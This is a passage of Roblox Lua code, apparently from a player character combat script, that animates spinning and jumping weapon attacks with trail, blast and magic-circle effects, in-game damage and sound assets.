  1672. local TM = Instance.new("CylinderMesh",Trail)
  1673. TM.Scale = Vector3.new(1,1,1)
  1674. Old = New
  1675. coroutine.wrap(function()
  1676. for i = 1,0,-0.1 do
  1677. wait()
  1678. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1679. end
  1680. Trail:remove()
  1681. end)()
  1682. coroutine.wrap(function()
  1683. for i = 1,10 do
  1684. wait()
  1685. Trail.Transparency = Trail.Transparency +0.1
  1686. end end)()end end)()
  1687.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  1688.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  1689.     for i=0,1,0.08 do
  1690.         swait()
  1691.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  1692.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1693.         Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  1694.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  1695.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  1696.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  1697.         RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  1698.         LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  1699.     end
  1700. if anim then
  1701. anim.Disabled=true
  1702. end
  1703.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  1704.     so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  1705.     for i=0,1,0.04 do
  1706.         swait()
  1707.         Torso.Velocity=RootPart.CFrame.lookVector*50
  1708.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  1709.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1710.         Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  1711.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  1712.         RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  1713.         LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  1714.         RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  1715.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  1716.     end
  1717.     --dmgstop()
  1718.     attack=false
  1719.     con1:disconnect()
  1720.     con2:disconnect()
  1721. if anim then
  1722. anim.Disabled=false
  1723. end
  1724. if TrailDeb == true then
  1725.                         TrailDeb = false
  1726. end
  1727. end
  1728.  
  1729. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  1730.     local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  1731.     prt.Anchored = true
  1732.     prt.CFrame = cframe
  1733.     local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  1734.     coroutine.resume(coroutine.create(function()
  1735.         for i = 0, 1, 0.05 do
  1736.             wait()
  1737.             prt.Transparency = i
  1738.             msh.Scale = msh.Scale + vt(x2, y2, z2)
  1739.         end
  1740.         prt.Parent = nil
  1741.     end))
  1742. end
  1743.  
  1744. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1745.     for _, c in pairs(workspace:children()) do
  1746.         local hum = c:findFirstChild("Humanoid")
  1747.         if hum ~= nil then
  1748.             local head = c:findFirstChild("Torso")
  1749.             if head ~= nil then
  1750.                 local targ = head.Position - Part.Position
  1751.                 local mag = targ.magnitude
  1752.                 if mag <= magni and c.Name ~= Player.Name then
  1753.                     Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1754.                 end
  1755.             end
  1756.         end
  1757.     end
  1758. end
  1759.  
  1760. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  1761.     local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  1762.     prt.Anchored = true
  1763.     prt.CFrame = cframe
  1764.     local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  1765.     game:GetService("Debris"):AddItem(prt, 2)
  1766.     coroutine.resume(coroutine.create(function(Part, Mesh)
  1767.         for i = 0, 1, delay do
  1768.             swait()
  1769.             Part.CFrame = Part.CFrame
  1770.             Part.Transparency = i
  1771.             Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  1772.         end
  1773.         Part.Parent = nil
  1774.     end), prt, msh)
  1775. end
  1776.  
  1777. function MagicJump()
  1778.     if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  1779.     attack=true
  1780.     mana=mana-25
  1781. --[[    Humanoid.WalkSpeed = 0
  1782.         for i=0,1,0.01 do
  1783.         swait()
  1784.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  1785.         Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  1786.         Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  1787.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  1788.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  1789.         RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  1790.         LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  1791.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  1792.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  1793.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  1794.     end]]--
  1795.     Humanoid.Jump = true
  1796.     Torso.Velocity = vt(0, 150, 0)
  1797.     Humanoid.WalkSpeed = 64
  1798.     so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  1799.     so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  1800.     for i=0,1,0.05 do
  1801.     swait()
  1802.     Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  1803.     Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  1804.     RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  1805.     LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  1806.     RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  1807.     RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  1808.     LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  1809.     handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  1810.     Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  1811.     Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  1812. end
  1813.     for i=0,1,0.02 do
  1814.     swait()
  1815.     Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  1816.     Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  1817.     RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  1818.     RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  1819.     RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  1820.     LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  1821.     LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  1822.     RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  1823.     LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  1824.     handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  1825.     Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  1826.     Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  1827. end
  1828.     Humanoid.WalkSpeed = 0
  1829.     swait(8)
  1830.     so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  1831.     so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  1832.     local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  1833.     if hit~=nil then
  1834.     swait(2)
  1835.     local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  1836.     ref.Anchored=true
  1837.     ref.CFrame=cf(pos)
  1838.     game:GetService("Debris"):AddItem(ref,3)
  1839.     for i=1,10 do
  1840.     local Col=BrickColor.new("Really black")
  1841.     local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  1842.     groundpart.Anchored=true
  1843.     groundpart.CanCollide=false
  1844.     groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1845.     local Col2=TorsoColor
  1846.     local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  1847.     groundpart2.Anchored=true
  1848.     groundpart2.CanCollide=false
  1849.     groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1850.     game:GetService("Debris"):AddItem(groundpart,5)
  1851.     game:GetService("Debris"):AddItem(groundpart2,5)
  1852.     end
  1853.     BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  1854.     BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  1855.     MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  1856.     MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  1857.     for i=0,1,0.06 do
  1858.     swait()
  1859.     Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  1860.     Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  1861.     RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  1862.     RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  1863.     LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  1864.     RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  1865.     LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  1866.     handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  1867.     Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  1868.     Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  1869. end
  1870. end
  1871.     swait(20)
  1872.     Humanoid.WalkSpeed = 12
  1873.     --dmgstop()
  1874.     attack=false
  1875. end
  1876. end
  1877.  
  1878. function Spin()
  1879.     attack=true
  1880. mana=mana-40
  1881. if TrailDeb == false then
  1882.                             TrailDeb = true
  1883.                         end
  1884.                        
  1885. coroutine.wrap(function()
  1886. local Old = Handle2.CFrame.p
  1887. while wait()do
  1888. if not TrailDeb then break end
  1889. local New = Handle2.CFrame.p
  1890. local Mag =(Old -New).magnitude
  1891. local Dis =(Old +New)/2
  1892. local Trail = Instance.new("Part",Character)
  1893. Trail.Material = "Neon"
  1894. Trail.Anchored = true
  1895. Trail.CanCollide = false
  1896. Trail.BrickColor = TorsoColor
  1897. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1898. Trail.TopSurface = 0
  1899. Trail.BottomSurface = 0
  1900. Trail.formFactor = "Custom"
  1901. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1902. local ms = Instance.new("BlockMesh",Trail)
  1903. ms.Scale = Vector3.new(1,1,1)
  1904. local TM = Instance.new("CylinderMesh",Trail)
  1905. TM.Scale = Vector3.new(1,1,1)
  1906. Old = New
  1907. coroutine.wrap(function()
  1908. for i = 1,0,-0.1 do
  1909. wait()
  1910. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1911. end
  1912. Trail:remove()
  1913. end)()
  1914. coroutine.wrap(function()
  1915. for i = 1,10 do
  1916. wait()
  1917. Trail.Transparency = Trail.Transparency +0.1
  1918. end end)()end end)()
  1919. coroutine.wrap(function()
  1920. local Old = Handle.CFrame.p
  1921. while wait()do
  1922. if not TrailDeb then break end
  1923. local New = Handle.CFrame.p
  1924. local Mag =(Old -New).magnitude
  1925. local Dis =(Old +New)/2
  1926. local Trail = Instance.new("Part",Character)
  1927. Trail.Material = "Neon"
  1928. Trail.Anchored = true
  1929. Trail.CanCollide = false
  1930. Trail.BrickColor = TorsoColor
  1931. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1932. Trail.TopSurface = 0
  1933. Trail.BottomSurface = 0
  1934. Trail.formFactor = "Custom"
  1935. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1936. local ms = Instance.new("BlockMesh",Trail)
  1937. ms.Scale = Vector3.new(1,1,1)
  1938. local TM = Instance.new("CylinderMesh",Trail)
  1939. TM.Scale = Vector3.new(1,1,1)
  1940. Old = New
  1941. coroutine.wrap(function()
  1942. for i = 1,0,-0.1 do
  1943. wait()
  1944. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1945. end
  1946. Trail:remove()
  1947. end)()
  1948. coroutine.wrap(function()
  1949. for i = 1,10 do
  1950. wait()
  1951. Trail.Transparency = Trail.Transparency +0.1
  1952. end end)()end end)()
  1953.     Footsteps:Stop()
  1954.     Footsteps2:Stop()
  1955.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  1956.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  1957.     so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  1958.     for i=0,1,0.1 do
  1959.         swait()
  1960.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  1961.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1962.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  1963.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  1964.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  1965.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  1966.     end
  1967. if anim then
  1968. anim.Disabled=true
  1969. end
  1970.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  1971.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  1972.     for i=0,1,0.05 do
  1973.         swait()
  1974.         Torso.Velocity=RootPart.CFrame.lookVector*100
  1975.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  1976.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1977.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  1978.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  1979.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  1980.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  1981.     end
  1982.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  1983.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  1984.     for i=0,1,0.05 do
  1985.         swait()
  1986.         Torso.Velocity=RootPart.CFrame.lookVector*100
  1987.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  1988.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1989.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  1990.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  1991.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  1992.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  1993.     end
  1994.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  1995.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  1996.     for i=0,1,0.05 do
  1997.         swait()
  1998.         Torso.Velocity=RootPart.CFrame.lookVector*100
  1999.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  2000.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2001.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2002.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2003.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2004.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2005.     end
  2006.     --dmgstop()
  2007. Humanoid.WalkSpeed=12
  2008.     attack=false
  2009.     con1:disconnect()
  2010.     con2:disconnect()
  2011. if anim then
  2012. anim.Disabled=false
  2013. end
  2014. if TrailDeb == true then
  2015.                         TrailDeb = false
  2016. end
  2017. end
  2018.  
  2019. function Twirl()
  2020. mana=mana-50
  2021.     attack=true
  2022. if TrailDeb == false then
  2023.                             TrailDeb = true
  2024.                         end
  2025.                        
  2026.  
  2027. coroutine.wrap(function()
  2028. local Old = Handle2.CFrame.p
  2029. while wait()do
  2030. if not TrailDeb then break end
  2031. local New = Handle2.CFrame.p
  2032. local Mag =(Old -New).magnitude
  2033. local Dis =(Old +New)/2
  2034. local Trail = Instance.new("Part",Character)
  2035. Trail.Material = "Neon"
  2036. Trail.Anchored = true
  2037. Trail.CanCollide = false
  2038. Trail.BrickColor = TorsoColor
  2039. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2040. Trail.TopSurface = 0
  2041. Trail.BottomSurface = 0
  2042. Trail.formFactor = "Custom"
  2043. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2044. local ms = Instance.new("BlockMesh",Trail)
  2045. ms.Scale = Vector3.new(1,1,1)
  2046. local TM = Instance.new("CylinderMesh",Trail)
  2047. TM.Scale = Vector3.new(1,1,1)
  2048. Old = New
  2049. coroutine.wrap(function()
  2050. for i = 1,0,-0.1 do
  2051. wait()
  2052. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2053. end
  2054. Trail:remove()
  2055. end)()
  2056. coroutine.wrap(function()
  2057. for i = 1,10 do
  2058. wait()
  2059. Trail.Transparency = Trail.Transparency +0.1
  2060. end end)()end end)()
  2061. coroutine.wrap(function()
  2062. local Old = Handle.CFrame.p
  2063. while wait()do
  2064. if not TrailDeb then break end
  2065. local New = Handle.CFrame.p
  2066. local Mag =(Old -New).magnitude
  2067. local Dis =(Old +New)/2
  2068. local Trail = Instance.new("Part",Character)
  2069. Trail.Material = "Neon"
  2070. Trail.Anchored = true
  2071. Trail.CanCollide = false
  2072. Trail.BrickColor = TorsoColor
  2073. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2074. Trail.TopSurface = 0
  2075. Trail.BottomSurface = 0
  2076. Trail.formFactor = "Custom"
  2077. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2078. local ms = Instance.new("BlockMesh",Trail)
  2079. ms.Scale = Vector3.new(1,1,1)
  2080. local TM = Instance.new("CylinderMesh",Trail)
  2081. TM.Scale = Vector3.new(1,1,1)
  2082. Old = New
  2083. coroutine.wrap(function()
  2084. for i = 1,0,-0.1 do
  2085. wait()
  2086. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2087. end
  2088. Trail:remove()
  2089. end)()
  2090. coroutine.wrap(function()
  2091. for i = 1,10 do
  2092. wait()
  2093. Trail.Transparency = Trail.Transparency +0.1
  2094. end end)()end end)()
  2095.     Footsteps:Stop()
  2096.     Footsteps2:Stop()
  2097.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  2098.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  2099.     so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  2100.     for i=0,1,0.1 do
  2101.         swait()
  2102.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2103.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2104.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2105.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  2106.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2107.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2108.     end
  2109. if anim then
  2110. anim.Disabled=true
  2111. end
  2112.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  2113.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  2114.     for i=0,1,0.05 do
  2115.         swait()
  2116.         Torso.Velocity=RootPart.CFrame.lookVector*80
  2117.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  2118.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2119.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2120.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2121.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2122.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2123.     end
  2124.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  2125.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  2126.     for i=0,1,0.05 do
  2127.         swait()
  2128.         Torso.Velocity=RootPart.CFrame.lookVector*80
  2129.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  2130.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2131.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2132.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2133.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2134.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2135.     end
  2136.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  2137.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  2138.     for i=0,1,0.05 do
  2139.         swait()
  2140.         Torso.Velocity=RootPart.CFrame.lookVector*80
  2141.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  2142.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2143.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2144.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2145.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2146.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2147.     end
  2148.     so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  2149.     so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  2150.     for i=0,1,0.05 do
  2151.         swait()
  2152.         Torso.Velocity=RootPart.CFrame.lookVector*80
  2153.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  2154.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2155.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2156.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2157.         RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2158.         LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2159.     end
  2160.     --dmgstop()
  2161. Humanoid.WalkSpeed=12
  2162.     attack=false
  2163.     con1:disconnect()
  2164.     con2:disconnect()
  2165. if anim then
  2166. anim.Disabled=false
  2167. end
